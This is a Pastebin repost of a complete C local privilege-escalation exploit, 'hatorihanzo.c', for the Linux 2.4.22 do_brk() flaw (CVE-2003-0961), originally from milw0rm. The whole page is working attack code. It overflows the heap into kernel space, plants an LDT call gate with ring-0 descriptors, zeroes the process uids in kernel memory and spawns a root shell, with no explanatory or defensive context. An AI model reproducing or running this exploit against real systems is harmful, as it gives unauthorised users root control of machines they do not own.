Advertisement
FlyFar

Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (2) - CVE-2003-0961

Feb 23rd, 2024
851
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.66 KB | Cybersecurity | 0 0
  1. /*
  2. * hatorihanzo.c
  3. * Linux kernel do_brk vma overflow exploit.
  4. *
  5. * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>
  6. *
  7. * Further research and exploit development by
  8. * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.
  9. *
  10. * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.
  11. *
  12. * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE
  13. * OF PRESENTED CODE IS STRICTLY PROHIBITED.
  14. */
  15. #define _GNU_SOURCE
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <errno.h>
  19. #include <string.h>
  20. #include <unistd.h>
  21. #include <fcntl.h>
  22. #include <signal.h>
  23. #include <paths.h>
  24. #include <grp.h>
  25. #include <setjmp.h>
  26. #include <stdint.h>
  27. #include <sys/mman.h>
  28. #include <sys/ipc.h>
  29. #include <sys/shm.h>
  30. #include <sys/ucontext.h>
  31. #include <sys/wait.h>
  32. #include <asm/ldt.h>
  33. #include <asm/page.h>
  34. #include <asm/segment.h>
  35. #include <linux/unistd.h>
  36. #include <linux/linkage.h>
  37. #define kB * 1024
  38. #define MB * 1024 kB
  39. #define GB * 1024 MB
  40. #define MAGIC 0xdefaced /* I should've patented this number -cliph */
  41. #define ENTRY_MAGIC 0
  42. #define ENTRY_GATE 2
  43. #define ENTRY_CS 4
  44. #define ENTRY_DS 6
  45. #define CS ((ENTRY_CS << 2) | 4)
  46. #define DS ((ENTRY_DS << 2) | 4)
  47. #define GATE ((ENTRY_GATE << 2) | 4 | 3)
  48. #define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)
  49. #define TOP_ADDR 0xFFFFE000U
  50. /* configuration */
  51. unsigned task_size;
  52. unsigned page;
  53. uid_t uid;
  54. unsigned address;
  55. int dontexit = 0;
  56. void fatal(char * msg)
  57. {
  58. fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno));
  59. if (dontexit) {
  60. fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n");
  61. kill(getpid(), SIGSTOP);
  62. for (;;) pause();
  63. }
  64. exit(EXIT_FAILURE);
  65. }
  66. void configure(void)
  67. {
  68. unsigned val;
  69. task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;
  70. uid = getuid();
  71. }
  72. void expand(void)
  73. {
  74. unsigned top = (unsigned) sbrk(0);
  75. unsigned limit = address + PAGE_SIZE;
  76. do {
  77. if (sbrk(PAGE_SIZE) == NULL)
  78. fatal("Kernel seems not to be vulnerable");
  79. dontexit = 1;
  80. top += PAGE_SIZE;
  81. } while (top < limit);
  82. }
  83. jmp_buf jmp;
  84. #define MAP_NOPAGE 1
  85. #define MAP_ISPAGE 2
  86. void sigsegv(int signo, siginfo_t * si, void * ptr)
  87. {
  88. struct ucontext * uc = (struct ucontext *) ptr;
  89. int error_code = uc->uc_mcontext.gregs[REG_ERR];
  90. (void)signo;
  91. (void)si;
  92. error_code = MAP_NOPAGE + (error_code & 1);
  93. longjmp(jmp, error_code);
  94. }
  95. void prepare(void)
  96. {
  97. struct sigaction sa;
  98. sa.sa_sigaction = sigsegv;
  99. sa.sa_flags = SA_SIGINFO | SA_NOMASK;
  100. sigemptyset(&sa.sa_mask);
  101. sigaction(SIGSEGV, &sa, NULL);
  102. }
  103. int testaddr(unsigned addr)
  104. {
  105. int val;
  106. val = setjmp(jmp);
  107. if (val == 0) {
  108. asm ("verr (%%eax)" : : "a" (addr));
  109. return MAP_ISPAGE;
  110. }
  111. return val;
  112. }
  113. #define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)
  114. #define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))
  115. #define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)
  116. void map(unsigned * map)
  117. {
  118. unsigned addr = task_size;
  119. unsigned bit = 1;
  120. prepare();
  121. while (addr < TOP_ADDR) {
  122. if (testaddr(addr) == MAP_ISPAGE)
  123. *map |= bit;
  124. addr += PAGE_SIZE;
  125. next(map, bit);
  126. }
  127. signal(SIGSEGV, SIG_DFL);
  128. }
  129. void find(unsigned * m)
  130. {
  131. unsigned addr = task_size;
  132. unsigned bit = 1;
  133. unsigned count;
  134. unsigned tmp;
  135. prepare();
  136. tmp = address = count = 0U;
  137. while (addr < TOP_ADDR) {
  138. int val = testaddr(addr);
  139. if (val == MAP_ISPAGE && (*m & bit) == 0) {
  140. if (!tmp) tmp = addr;
  141. count++;
  142. } else {
  143. if (tmp && count == LDT_PAGES) {
  144. errno = EAGAIN;
  145. if (address)
  146. fatal("double allocation\n");
  147. address = tmp;
  148. }
  149. tmp = count = 0U;
  150. }
  151. addr += PAGE_SIZE;
  152. next(m, bit);
  153. }
  154. signal(SIGSEGV, SIG_DFL);
  155. if (address)
  156. return;
  157. errno = ENOTSUP;
  158. fatal("Unable to determine kernel address");
  159. }
  160. int modify_ldt(int, void *, unsigned);
  161. void ldt(unsigned * m)
  162. {
  163. struct modify_ldt_ldt_s l;
  164. map(m);
  165. memset(&l, 0, sizeof(l));
  166. l.entry_number = LDT_ENTRIES - 1;
  167. l.seg_32bit = 1;
  168. l.base_addr = MAGIC >> 16;
  169. l.limit = MAGIC & 0xffff;
  170. if (modify_ldt(1, &l, sizeof(l)) == -1)
  171. fatal("Unable to set up LDT");
  172. l.entry_number = ENTRY_MAGIC / 2;
  173. if (modify_ldt(1, &l, sizeof(l)) == -1)
  174. fatal("Unable to set up LDT");
  175. find(m);
  176. }
  177. asmlinkage void kernel(unsigned * task)
  178. {
  179. unsigned * addr = task;
  180. /* looking for uids */
  181. while (addr[0] != uid || addr[1] != uid ||
  182. addr[2] != uid || addr[3] != uid)
  183. addr++;
  184. addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
  185. addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
  186. addr[8] = 0;
  187. /* looking for vma */
  188. for (addr = (unsigned *) task_size; addr; addr++) {
  189. if (addr[0] >= task_size && addr[1] < task_size &&
  190. addr[2] == address && addr[3] >= task_size) {
  191. addr[2] = task_size - PAGE_SIZE;
  192. addr = (unsigned *) addr[3];
  193. addr[1] = task_size - PAGE_SIZE;
  194. addr[2] = task_size;
  195. break;
  196. }
  197. }
  198. }
  199. void kcode(void);
  200. #define __str(s) #s
  201. #define str(s) __str(s)
  202. void __kcode(void)
  203. {
  204. asm(
  205. "kcode: \n"
  206. " pusha \n"
  207. " pushl %es \n"
  208. " pushl %ds \n"
  209. " movl $(" str(DS) ") ,%edx \n"
  210. " movl %edx,%es \n"
  211. " movl %edx,%ds \n"
  212. " movl $0xffffe000,%eax \n"
  213. " andl %esp,%eax \n"
  214. " pushl %eax \n"
  215. " call kernel \n"
  216. " addl $4, %esp \n"
  217. " popl %ds \n"
  218. " popl %es \n"
  219. " popa \n"
  220. " lret \n"
  221. );
  222. }
  223. void knockout(void)
  224. {
  225. unsigned * addr = (unsigned *) address;
  226. if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)
  227. fatal("Unable to change page protection");
  228. errno = ESRCH;
  229. if (addr[ENTRY_MAGIC] != MAGIC)
  230. fatal("Invalid LDT entry");
  231. /* setting call gate and privileged descriptors */
  232. addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);
  233. addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
  234. addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */
  235. addr[ENTRY_CS+1] = 0x00cf9a00U;
  236. addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */
  237. addr[ENTRY_DS+1] = 0x00cf9200U;
  238. prepare();
  239. if (setjmp(jmp) != 0) {
  240. errno = ENOEXEC;
  241. fatal("Unable to jump to call gate");
  242. }
  243. asm("lcall $" str(GATE) ",$0x0"); /* this is it */
  244. }
  245. void shell(void)
  246. {
  247. char * argv[] = { _PATH_BSHELL, NULL };
  248. execve(_PATH_BSHELL, argv, environ);
  249. fatal("Unable to spawn shell\n");
  250. }
  251. void remap(void)
  252. {
  253. static char stack[8 MB]; /* new stack */
  254. static char * envp[] = { "PATH=" _PATH_STDPATH, NULL };
  255. static unsigned * m;
  256. static unsigned b;
  257. m = (unsigned *) sbrk(map_size);
  258. if (!m)
  259. fatal("Unable to allocate memory");
  260. environ = envp;
  261. asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));
  262. b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;
  263. if (munmap((void*)b, task_size - b) == -1)
  264. fatal("Unable to unmap stack");
  265. while (b < task_size) {
  266. if (sbrk(PAGE_SIZE) == NULL)
  267. fatal("Unable to expand BSS");
  268. b += PAGE_SIZE;
  269. }
  270. ldt(m);
  271. expand();
  272. knockout();
  273. shell();
  274. }
  275. int main(void)
  276. {
  277. configure();
  278. remap();
  279. return EXIT_FAILURE;
  280. }
  281.  
  282.  
  283. // milw0rm.com [2003-12-05]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement